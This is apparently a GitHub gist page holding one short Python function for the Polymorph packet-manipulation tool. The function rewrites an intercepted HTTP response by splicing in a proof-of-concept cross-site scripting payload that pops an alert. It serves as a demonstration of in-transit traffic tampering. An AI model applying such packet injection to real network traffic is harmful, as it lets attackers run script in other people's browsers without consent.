Skip to content

Instantly share code, notes, and snippets.


Block or report user

Report or block shramos

Hide content and notifications from this user.

Learn more about blocking users

Contact Support about this user’s behavior.

Learn more about reporting abuse

Report abuse
View GitHub Profile
def mod_http_val(packet):
data = packet['RAW.HTTP']['file_data']
payload = '"><script>alert("You just got pwned with Polymorph!")</script>'
plen = len(payload)
start = len(data) - plen + 1 - 16
stop = len(data) - 16
packet['RAW.HTTP']['file_data'] = data[:start] + payload + data[stop:]
return packet
You can’t perform that action at this time.